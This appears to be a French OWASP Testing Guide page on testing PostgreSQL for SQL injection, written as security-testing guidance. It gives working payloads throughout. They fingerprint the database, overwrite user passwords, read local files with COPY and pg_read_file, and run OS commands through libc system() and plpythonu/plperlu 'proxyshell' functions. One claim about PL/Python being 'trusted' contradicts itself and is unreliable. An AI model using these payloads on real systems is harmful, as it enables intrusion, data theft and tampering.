4.8.5.4 Tester PostgreSQL (from OWASP BSP)

From OWASP
Jump to: navigation, search

Sommaire

Dans cette section, nous allons présenter quelques techniques d'injection SQL pour PostgreSQL. Ces techniques ont les caractéristiques suivantes :

  • Le connecteur PHP permet l'exécution de requêtes multiples en utilisant le séparateur ;
  • Les requêtes peuvent être tronquées en ajoutant les caractères de commentaire : --
  • LIMIT et OFFSET peuvent être utilisés dans des requêtes SELECT pour récupérer une portion du résultat renvoyé par une requête

A parti de maintenant, nous allons considérer que http://www.example.com/news.php?id=1 est vulnérable aux attaques par injection SQL.

Comment tester

Identifier PostgreSQL

Quand une injection SQL a été trouvée, il faut identifier soigneusement le moteur de base de données sous-jacent. On peut le déterminer en utilisant l'opérateur de conversion ::.


Exemples:

 http://www.example.com/store.php?id=1 AND 1::int=1


De plus la fonction version() peut être utilisée pour récupérer la bannière de PostgreSQL. Cela indiquera le système d'exploitation et la version.


Exemple:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--


Un exemple de bannière ainsi retournée :

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)


Injection en aveugle

Pour les attaques par injection SQL en aveugle, il faut prendre en considération les fonctions intégrées suivantes :

  • Longueur d'une chaîne
    LENGTH(str)
  • Extraction d'une sous-chaîne d'une chaîne donnée
    SUBSTR(str,index,offset)
  • Représentation d'une chaîne sans simples quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


A partir de la version 8.2, PostgreSQL a introduit la fonction intégrée pg_sleep(n), qui met le processus de session courant en attente pour n secondes. Cette fonction peut être utilisée pour exécuter des attaques temporelles (vues en détail dans la section Blind SQL Injection).


De plus, on peut facilement créer un équivalent personnalisé à pg_sleep(n) dans les versions précédentes en utilisant libc :

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT


Déséchappement des simples quotes

Les chaînes peuvent être encodées pour prévenir l'échappement des simples quotes, en utilisant la fonction chr().

  • chr(n): Retourne le caractère dont la valeur ASCII correspond au nombre n.
  • ascii(n): Retourne la valeur ASCII correspondante au caractère n.


Imaginons que nous voulons encoder la chaîne 'root' :

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


On peut donc encoder 'root' en :

 chr(114)||chr(111)||chr(111)||chr(116)


Exemple:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Vecteurs d'attaque

Utilisateur courant

L'identité de l'utilisateur courant peut être récupérée avec les requêtes SQL suivantes :

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Exemples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--


Base de données courante

La fonction intégrée current_database() renvoie le nom de la base de données courante.


Exemple:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Lire depuis un fichier

PostgreSQL fourni deux manières d'accéder à un fichier local :

  • L'instruction COPY
  • La fonction intégrée pg_read_file() (depuis PostgreSQL 8.1)


COPY:

Cet opérateur copie les données d'un fichier et d'une table. Le moteur PostgreSQL accède au système de fichiers local sous l'utilisateur postgres.


Exemple:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--


Les données doivent être récupérées en procédant à une injection par UNION UNION Query SQL Injection :

  • Récupération du nombre d'enregistrements ajoutés précédemment dans file_store avec l'instruction COPY
  • Récupération d'un enregistrement à la fois avec l'injection SQL par UNION.


Exemple:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():


Cette fonction a été introduite dans PostgreSQL 8.1 et permet de lire des fichiers quelconques dans le répertoire du SGBD.


Exemples:

  • SELECT pg_read_file('server.key',0,1000);


Ecrire dans un fichier

En inversant l'instruction COPY, on peut écrire dans une fichier local avec les droits de l'utilisateur postgres

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--


Injection de shell

PostgreSQL fourni un mécanisme pour ajouter des fonctions personnalisées utilisant à la fois des bibliothèques dynamiques et des langages de script comme Python, Perl, et TCL.


Bibliothèque dynamique

Justqu'à PostgreSQL 8.1 il était possible d'ajouter une fonction personnalisée liée à libc :

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT


Depuis, system retourne un int, comme alors récupérer les résultats de la sortie standard de system ?


Voici une solution :

  • Créer une table stdout
    CREATE TABLE stdout(id serial, system_out text)
  • Exécuter la commande shell en redirigeant sa sortie stdout
    SELECT system('uname -a > /tmp/test')
  • Utiliser une instruction COPY pour envoyer la sortie de la commande précédente dans la table stdout
    COPY stdout(system_out) FROM '/tmp/test'
  • Récupérer les données de la table stdout
    SELECT system_out FROM stdout


Exemple:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--



plpython

PL/Python permet aux utilisateurs de développer des fonctions PostgreSQL en Python. C'est un langage sûr ('trusted') donc il n'y a aucun moyen de restreindre ce que l'utilisateur peut faire avec. Il n'est pas installé par défaut et peut être éctivé sur une base donnée avec CREATELANG

  • Vérifier que PL/Python a été activé sur la base :
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • Si ce n'est pas le cas, essayer de l'activer :
    CREATE LANGUAGE plpythonu
  • Si aucune des requêetes précédentes ne réussi, créer une fonction proxyshell :
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Et jouer avec :
    SELECT proxyshell(os command);


Exemple:

  • Créer une fonction proxy shell :
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Lancer une commande système :
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


plperl

Plperl permet de développer des fonctions PostgreSQL en perl. Normalement, il est installé comme un langage de confiance ('trusted') afin de désactiver l'exécution d'opérations qui interagissent avec le système d'exploitation sous-jacent, telles que open. Ainsi il est impossible d'obtenir un accès au niveau du système d'exploitation. Pour injecter une fonction comme proxyshell, il faut installer la version non sûr ('unstrusted') sous l'utilisateur postgres, pour éviter le filtrage par masque applicatif des opérations trusted/untrusted.


  • Vérifier si Pl/Perl-untrusted a été activé :
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • Si ce n'est pas le cas, en considérant qu'un administrateur système a déjà installé le paquetage plperl, essayer :
    CREATE LANGUAGE plperlu
  • Si rien de ceci ne fonctionne, créer une fonction proxy shell :
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Et jouer avec :
    SELECT proxyshell(os command);


Exemple:

  • Créer une fonction proxy shell :
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Lancer une commande système :
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


Références